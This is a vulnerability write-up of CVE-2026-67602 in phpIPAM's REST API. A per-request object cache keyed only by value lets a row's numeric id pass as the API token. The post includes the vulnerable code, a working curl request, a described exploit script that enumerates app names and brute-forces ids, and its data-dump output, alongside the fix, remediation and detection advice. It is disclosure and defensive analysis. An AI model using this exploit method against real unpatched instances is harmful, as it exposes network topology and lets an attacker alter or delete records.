HB Updated Aug 28, 2026

The Token Was a Row Number: CVE-2026-67602 — phpIPAM REST API Authentication Bypass via Cache-Key Collision

On August 24, 2026, VulnCheck’s CNA published CVE-2026-67602, an unauthenticated authentication bypass in the REST API of phpIPAM, the open-source IP address management platform used by network teams to document subnets, addresses, VLANs, devices and circuits. NVD scores it 9.3 Critical on CVSS 4.0 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N). It affects every release before 1.8.2, and it has one of the punchlines I enjoy most in this genre: the application’s real 32-character API secret is never compared, never cracked, never needed — because on a vulnerable instance, the number 1 is a valid API token.

The bug is a cache-key collision. phpIPAM’s data layer keeps a per-request, in-memory object cache to avoid repeating identical queries, and it keys cached rows by the lookup value alone — not by the column that was searched. Within a single API request, phpIPAM performs two lookups against the same table: first it resolves the application by its public app_id name, later it validates the caller’s secret app_code token. Both lookups consult the same cache bucket. So the row fetched during the first lookup is sitting in the cache, keyed by its numeric primary key, exactly when the second lookup comes looking — and if the attacker sends the row’s numeric id as their token, the second lookup finds it, returns it, and authentication succeeds. The integer is the credential.

There is something beautifully concise about the exploit. No memory corruption, no race, no parser differential — just two questions asked of the same map with answers filed under the wrong drawer. It is a cousin of the failure we examined in Cudy’s WR3000 mesh router, where every device in a product line shared one signing key: in both cases the system’s identity material — the thing that is supposed to distinguish callers — collapses onto a value the attacker can obtain or guess. Here the collapse is subtler, because nothing was deployed wrong; the code simply let one lookup impersonate another.

Attack flow: one request, two lookups, one cache bucket


Vulnerability Classification

Field Value
CVE CVE-2026-67602
CVSS 4.0 9.3 — Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N)
CVSS 3.1 (equivalent) 9.1 — Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
CWE CWE-706 — Use of Incorrectly-Resolved Name or Reference
CAPEC CAPEC-21 — Exploitation of Trusted Identifiers
Affected Component REST API authentication for ssl_code applications (api/index.php, api/controllers/User.php, functions/classes/class.Common.php)
Affected Versions phpIPAM < 1.8.2 (all prior releases)
Fixed Version 1.8.2 (commit d29728f, August 6, 2026)
Impact Unauthenticated full API access at the application’s permission level: read, write and delete of IPAM records (high confidentiality + integrity; no direct availability impact)
CVE Published August 24, 2026 (VulnCheck CNA)
Discoverer BENDIB MOHAMED ANIS (reported via VulnCheck)
Fix Author Gary Allan (phpIPAM maintainer)

The vector reads like a worst case for an API: network vector, low complexity, no privileges, no user interaction, no attack prerequisites. The one consolation is VA:N — the flaw is in the authentication layer, not in anything that crashes or blocks, so impact lands on confidentiality and integrity rather than availability.


Background: phpIPAM and Its API

phpIPAM is a PHP/MySQL application, hosted on GitHub since 2015 with around 2,800 stars, that network and infrastructure teams use as the source of truth for their address space: sections and folders, IPv4/IPv6 subnets, individual IP addresses with owners and hostnames, VLANs, VRFs, devices, racks, circuits, locations and NAT mappings. It is internal infrastructure documentation of the most sensitive kind — an attacker who can read it learns your entire network topology, addressing plan and naming conventions, and an attacker who can write to it can silently poison the documentation your automation and colleagues depend on.

The REST API (/api/...) mirrors that data for automation, and it is both enabled and authorized per application. An administrator creates an API application in the web UI, giving it three properties that matter here:

Property Meaning
app_id The application’s public name — appears in every API URL: /api/<app_id>/sections/
app_code A random 32-character secret — the application’s API token
app_security The authentication mode: ssl_code, ssl_token, crypt, none

The api table that stores these is unremarkable — an auto-increment integer primary key, the app name, the secret, a permissions level, and the security mode:

CREATE TABLE `api` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `app_id` varchar(32) NOT NULL DEFAULT '',
  `app_code` varchar(32) NULL DEFAULT '',
  `app_permissions` int(1) DEFAULT '1',
  `app_security` SET('ssl_code','ssl_token','crypt','user','none') NOT NULL DEFAULT 'ssl_token',
  ...
  PRIMARY KEY (`id`),
  UNIQUE KEY `app_id` (`app_id`)
) ENGINE=InnoDB ...;

Keep an eye on that id column. It is only there to give the row a primary key — but on a vulnerable instance it doubles as a working API token.


The Object Cache

Like most mature PHP applications, phpIPAM wraps its database layer with helpers that fetch rows as objects, and those helpers consult an object cache before touching MySQL. The cache lives as a plain PHP array on the shared Database_PDO instance (functions/classes/class.PDO.php:108):

public $cache = array();

It is per-request and in-memory — every HTTP request builds its object graph fresh, so the cache’s job is purely to avoid re-querying the same row within one request. That is a sensible design, and it is shared by every helper object (Tools, Admin, User) constructed from the same $Database instance in api/index.php.

The generic lookup helper is fetch_object($table, $column, $value) in functions/classes/class.Common.php (v1.8.1, lines 252-277) — the workhorse used for essentially every “find the row in table X where column Y equals Z” operation in the application:

public function fetch_object ($table, $method, $value) {
    // checks
    if(!is_string($table)) return false;
    if(is_blank($table))  return false;
    if(is_null($method))   return false;
    if(is_null($value))    return false;
    if($value===0)         return false;

    # check cache
    $cached_item = $this->cache_check($table, $value);      // (1)
    if(is_object($cached_item))
        return $cached_item;

    # null method
    $method = is_null($method) ? "id" : $this->Database->escape($method);

    try { $res = $this->Database->getObjectQuery($table,
            "SELECT * from `$table` where `$method` = ? limit 1;", array($value)); }
    catch (Exception $e) { ... return false; }

    # save to cache array
    $this->cache_write ($table, $res);                      // (2)

    return is_object($res) ? $res : false;
}

Look at what the function knows and what it uses. It receives the table, the column, and the value. But when it checks the cache at (1), it passes only the value — the column being searched ($method) is discarded. And when the real query succeeds, cache_write at (2) stores the row not under the value that was searched, but under the value of the row’s primary-key identifier:

protected function cache_write ($table, $object) {
    if (!is_object($object)) return;
    ...
    $identifier = $this->cache_set_identifier ($table);   // 'id' for the api table
    if (!property_exists($object, $identifier)) return;
    $id = $object->{$identifier};
    ...
    $this->Database->cache[$table][$identifier][$id] = clone $object;
}

protected function cache_check ($table, $id) {
    $identifier = $this->cache_set_identifier ($table);   // 'id' for the api table
    if (isset($this->Database->cache[$table][$identifier][$id]))
        return clone $this->Database->cache[$table][$identifier][$id];
    return false;
}

So the effective cache namespace is cache[table][id][row->id] — a single bucket per table, keyed by the row’s primary key, and consulted with whatever raw value any caller supplies. The lookup helper is a generic function serving dozens of call sites, and each call site assumes it is the only one looking in that drawer.


The Bug: Two Lookups, One Request, One Drawer

Now watch what one authenticated API request does. A caller hits GET /api/client/sections/ with a phpipam-token header, on an app configured with app_security = ssl_code. Two fetches against the api table happen, in this order.

Step 1 — resolve the application (api/index.php:72). The app_id comes straight from the URL:

// fetch app
$app = $Tools->fetch_object ("api", "app_id", $_GET['app_id']);

fetch_object misses the cache, runs SELECT * from api where app_id = 'client' limit 1, gets the row — and cache_write files it under cache['api']['id'][2], because 2 is the value of the row’s id property. The secret app_code in that row is never exposed; it just rides along inside the cached object.

Step 2 — validate the token (api/controllers/User.php:528-540). For ssl_code apps the token check is another fetch against the same table, this time by the app_code column, using the phpipam-token header:

private function validate_requested_token_code ($app_id) {
    if(!isset($_SERVER['HTTP_PHPIPAM_TOKEN'])) { ... 401 ... }
    else {
        // fetch app_id from token
        if(($app_temp = $this->Admin->fetch_object ("api", "app_code",
                $_SERVER['HTTP_PHPIPAM_TOKEN'])) === false)
            { $this->Response->throw_exception(401, ...); }

        // if they dont match die
        if ($app_id != $app_temp->app_id)
            { $this->Response->throw_exception(403, "Invalid token"); }
    }
}

fetch_object("api", "app_code", $token) starts, like always, with cache_check("api", $token) — which resolves to isset($this->Database->cache['api']['id'][$token]).

If the attacker sent the real secret, this would miss the cache and fall through to a genuine SELECT ... where app_code = ?. But if the attacker sends the row’s numeric id as the token, the cache lookup hits the entry written moments ago in Step 1. PHP’s array semantics do the rest: numeric strings used as array keys are cast to integers, so cache['api']['id']["2"] and cache['api']['id'][2] are the same slot. The function returns the cached row as the result of an app_code search, the caller compares $app_id != $app_temp->app_id — same row, so they trivially match — and the request is authenticated.

The real app_code was never compared against anything. The database row’s primary key is a valid token:

$ curl -s -k "https://phpipam.example.com/api/client/sections/" \
       -H "phpipam-token: 2"
{"code":200,"success":true,"message":"Request successful","data":[{"sectionId":1,...}],"time":0.012}

Cache-key collision: the app_id lookup writes, the app_code lookup reads the same slot

Two details complete the picture. First, the priming and the exploitation are in the same request — the cache is per-request, but Step 1 unconditionally precedes Step 2 in every ssl_code API call, so the collision needs no cache persistence and no cross-request timing at all. Second, the guard if($value===0) return false; only rejects the integer 0 — the attacker supplies the token as a string anyway, and id values start at 1.

Why only ssl_code applications

The other security modes do not line up the two lookups, which is why the advisory scopes the bypass to ssl_code:

app_security Token validated by Exploitable via this cache collision?
ssl_code fetch_object("api", "app_code", $token) — primed by the app_id fetch in the same request Yes
ssl_token / none fetch_object("users", "token", $token) — the users-table cache bucket is never primed earlier in the request No
crypt Request body must be decrypted with the app’s app_code as the key No
user Not routable in v1.8.1’s api/index.php (falls through to 503 Invalid app security) No

The users-table path deserves a word, because it looks similar: the user-token check also calls fetch_object with a value-only cache key. But nothing earlier in an API request fetches a user by a value that would land in cache['users']['id'][...], so there is no priming write and no collision. The bug is not merely “cache keyed badly” — it is “cache keyed badly and two differently-meaning lookups on the same table in one request”. Only ssl_code pays both conditions.


Proof of Concept

https://github.com/Hunt-Benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

The repository contains three pieces: a logic-level PoC that runs the verbatim vulnerable and fixed code against a stubbed database, a remote exploit script, and a Docker lab running the last vulnerable release.

The logic-level PoC

poc_cache_collision.php imports the fetch_object / cache_check / cache_write / cache_set_identifier methods verbatim from phpIPAM v1.8.1, stubs the Database_PDO class with a single api row (id 2, app_id='client', a random secret, ssl_code), and replays the exact two fetches of one HTTP request in order:

$ php poc_cache_collision.php vulnerable
CVE-2026-67602 logic-level PoC — vulnerable code path
--------------------------------------------------------------------
DB state: one api row  { id=2, app_id='client', app_security='ssl_code',
            app_code='d41d8cd98f00b204e9800998ecf8427e' (secret) }

[1] fetch_object('api','app_id','client')  -> row id=2, app_security=ssl_code
    cache now holds cache['api']['id'][2] = <the whole row>
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTHENTICATED

    => The real app_code was never compared. The integer 2 is a
       valid API token on phpIPAM < 1.8.2 (vulnerable build).

Running the same replay against the 1.8.2 implementations shows the patch working — same row, same “token”, different outcome:

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected

The remote exploit

exploit.py weaponizes the bug against a live instance in two short phases:

  1. Enumerate a valid app_id. The URL segment is the application’s public name, and the API separates its errors usefully — an unknown name returns 400 Invalid application id, a known name with a bad token returns 401. Common names (client, migration, monitoring, monitoring-tool names…) fall quickly; a few dozen guesses usually suffice.
  2. Iterate numeric tokens. For each candidate id from 1 upward, send GET /api/{app_id}/sections/ with phpipam-token: <id>. The number of API applications on a typical install is single-digit, so this loop terminates in a handful of requests.
$ python3 exploit.py https://phpipam.example.com --app-id client --dump
[*] Target: https://phpipam.example.com
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 6 section(s) readable
[*] Dumping IPAM data...
    [+] GET /sections/  -> 6 records -> sections.json
    [+] GET /subnets/   -> 214 records -> subnets.json
    [+] GET /vlans/     -> 18 records -> vlans.json
    [+] GET /devices/   -> 57 records -> devices.json

No throttling applies. This is worth spelling out because defenders tend to assume brute force gets rate-limited: phpIPAM does have a login-failure blocker (the loginAttempts table, checked by the API’s validate_block()), but only the web UI login path ever writes to it. A failed API token raises a bare 401 without incrementing anything, so the numeric search runs as fast as the server answers.

The Docker lab

The repository’s docker-compose.yml brings up the last vulnerable release (phpipam/phpipam-www:v1.8.1) with MariaDB:

$ docker compose up -d

Complete the one-time install at http://localhost:8080/install/ (automatic database installation, MySQL root password phpipamAdminRoot), then create an API application in Administration → API Management with security API code (ssl_code) and full permissions. phpIPAM generates the random 32-character secret for you — and you can deliberately not copy it, because the whole point is that you will not need it. The compose file sets IPAM_TRUST_X_FORWARDED=true so the lab can run over plain HTTP (the ssl_code mode otherwise requires TLS, via the isHttps() check in api/index.php; production deployments already run behind TLS, and the exploit works unchanged against them). Then:

$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted

Impact

What the attacker gets is bounded by the application’s own app_permissions setting, which for automation apps is routinely the maximum — read, write and delete:

Capability Effect
Read (permissions ≥ 1) Full topology disclosure: every section, subnet, address with hostname and owner, VLAN, VRF, device, rack and circuit. This is pre-attack reconnaissance of the highest quality, handed over in structured JSON.
Write (permissions ≥ 2) Poison the source of truth: alter subnet and address records that colleagues and automation scripts trust, inject bogus devices, rewrite NAT mappings.
Delete (permissions = 3) Destroy documentation: drop addresses, subnets, whole sections.

The CVSS vector’s VC:H/VI:H/VA:N maps to this precisely: everything the API can see or change is exposed, and the API cannot directly stop the service. The second-order effects are uglier than the vector suggests — IPAM data feeds firewall reviews, DNS automation, capacity planning and incident response, so integrity loss here propagates into operational decisions. And because the exploit presents as a perfectly normal authenticated API session, everything it does lands in the same audit trail as legitimate traffic.


The Fix

Commit d29728f (“Security: API authentication bypass via object cache key collision”) is a model of a minimal, structural fix. Instead of patching around the colliding call sites, it makes the cache key honest: the searched column becomes part of the key, so a row cached by an app_id lookup can never satisfy an app_code lookup again.

fetch_object now resolves the column before consulting the cache and threads it through both operations:

# null method
$method = is_null($method) ? "id" : $this->Database->escape($method);

# check cache
$cached_item = $this->cache_check($table, $method, $value);   // column in the key
...
# save to cache array
$this->cache_write ($table, $method, $res);                  // column in the key

And the two cache primitives grew the identifier as an explicit, caller-supplied parameter:

protected function cache_write ($table, $identifier, $object) {
    ...
    if (is_null($identifier)) {
        $identifier = $this->cache_set_identifier($table);
    }
    if (!property_exists($object, $identifier)) return;
    $id = $object->{$identifier};
    if (is_null($id)) return;                                 // new guard
    ...
    $this->Database->cache[$table][$identifier][$id] = clone $object;
}

protected function cache_check ($table, $identifier, $id) {
    if (isset($this->Database->cache[$table][$identifier][$id]))
        return clone $this->Database->cache[$table][$identifier][$id];
    return false;
}

After the patch, the effective namespace is cache[table][column][...]. The Step 1 lookup writes to cache['api']['app_id']['client']; the Step 2 lookup reads cache['api']['app_code'][<token>] — different drawers, no collision, and the token check falls through to a real SELECT ... where app_code = ? that only the genuine secret satisfies.

Because the two cache methods are protected and their signatures changed, the commit ripples through every caller in class.Addresses.php, class.Subnets.php, class.User.php and class.Common.php (five files, roughly forty changed lines of call-site updates — "id" passed where the primary key is meant, as in the bulk-fetch paths that prime the cache with full tables). The call sites that genuinely key by primary key are unchanged in behavior; only the ambiguous value-only lookups were repaired.

Attention! v1.8.2 is not just this fix. The release notes describe a full security sweep — twelve security fixes in one release, including disabled API endpoints still accessible, an API read-only permission bypass, an API controller local file inclusion, missing permission and CSRF checks on temporary shares, and second-order SQL injection in custom-field reordering. If you are running anything older than 1.8.2 with the API exposed, treat this release as a “patch today” item, not a “next maintenance window” item — the other eleven are patched alongside the one this article covers.


Remediation Checklist

  1. Upgrade to phpIPAM 1.8.2 or later. This is the only complete fix.
  2. Audit for exploitation. Legitimate ssl_code tokens are 32-character random strings; the exploit sends a purely numeric phpipam-token. Any numeric token in access logs against /api/... is a high-fidelity indicator of compromise. phpIPAM also stamps app_last_access on the api row per request — a suddenly-advancing timestamp on an app nobody should have used is worth a look.
  3. Rotate secrets. If exposure is plausible, regenerate the application code of every ssl_code API app and any user tokens issued over the same period.
  4. Reduce attack surface until you can upgrade: disable API apps that are no longer used, lower app_permissions to the minimum (1 — read-only) where write access is not needed, and restrict which networks can reach /api/ at the web-server or firewall layer.
  5. Verify with the PoC repository: the logic-level PoC exits 401 Unauthorized on the fixed path, and exploit.py should find no numeric token against a patched instance.

Attack / Disclosure Timeline

Date Event
BENDIB MOHAMED ANIS reports the vulnerability to phpIPAM via VulnCheck (anonymous report)
August 6, 2026 Maintainer Gary Allan commits fix d29728f — cache keyed by search column, ~40 changed lines across all callers
August 16, 2026 phpIPAM 1.8.2 released with the fix (and eleven other security fixes)
August 24, 2026 VulnCheck CNA publishes CVE-2026-67602 (CVSS 4.0 9.3, CWE-706); NVD follows the same day. CISA-coordinated SSVC analysis: automatable: yes, technical impact: total

The Bigger Lesson

Strip the particulars away and this is a namespace collision. Two lookups with different meanings — “who is this application?” and “does the caller know the secret?” — were resolved through one shared namespace keyed by data the attacker controls. The same shape keeps recurring in this field: the Cudy JWT bug was one signing key standing in for every device’s identity; here it is one cache drawer standing in for every column’s result. Whenever a fast-path (a cache, a lookup table, an allowlist) is introduced in front of a slow path (a query, a crypto check), the fast path inherits the authority of the slow one — so the fast path’s key must encode everything the slow path’s semantics depend on. phpIPAM’s fix is the textbook application of that principle: cache[table][column][value], full stop.

For anyone running self-hosted infrastructure tooling, the second lesson is exposure. phpIPAM instances sit on internal networks precisely because they document them — “it’s only reachable internally” is the deployment assumption. But an unauthenticated, unthrottled, nine-point-three authentication bypass on the source of truth for your address space converts any foothold (a compromised laptop, a container escape, SSRF from somewhere else) into a full topology download. Internal-facing still deserves internet-facing hygiene.


Sources

VulnCheck Advisory — phpIPAM < 1.8.2 Authentication Bypass via REST API Object Cache: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

NIST National Vulnerability Database — CVE-2026-67602: https://nvd.nist.gov/vuln/detail/CVE-2026-67602

CVE.org — CVE-2026-67602: https://www.cve.org/CVERecord?id=CVE-2026-67602

phpIPAM fix commit d29728f (Security: API authentication bypass via object cache key collision): https://github.com/phpipam/phpipam/commit/d29728fecca327f1ea825798908d0cfa4c62408e

phpIPAM v1.8.2 release notes (August 16, 2026): https://github.com/phpipam/phpipam/releases/tag/v1.8.2

phpIPAM source, v1.8.1 — api/index.php (app resolution): https://github.com/phpipam/phpipam/blob/v1.8.1/api/index.php

phpIPAM source, v1.8.1 — api/controllers/User.php (token validation): https://github.com/phpipam/phpipam/blob/v1.8.1/api/controllers/User.php

phpIPAM source, v1.8.1 — functions/classes/class.Common.php (object cache): https://github.com/phpipam/phpipam/blob/v1.8.1/functions/classes/class.Common.php

phpIPAM source, v1.8.1 — db/SCHEMA.sql (api table definition): https://github.com/phpipam/phpipam/blob/v1.8.1/db/SCHEMA.sql

MITRE CWE-706 — Use of Incorrectly-Resolved Name or Reference: https://cwe.mitre.org/data/definitions/706.html

MITRE CAPEC-21 — Exploitation of Trusted Identifiers: https://capec.mitre.org/data/definitions/21.html

Hunt-Benito PoC repository: https://github.com/Hunt-Benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

Previous Hunt-Benito article — The Same Key Opens Every Box: CVE-2026-71960 (Cudy WR3000 hard-coded JWT secret): https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudys-wr3000-mesh-mqtt-broker/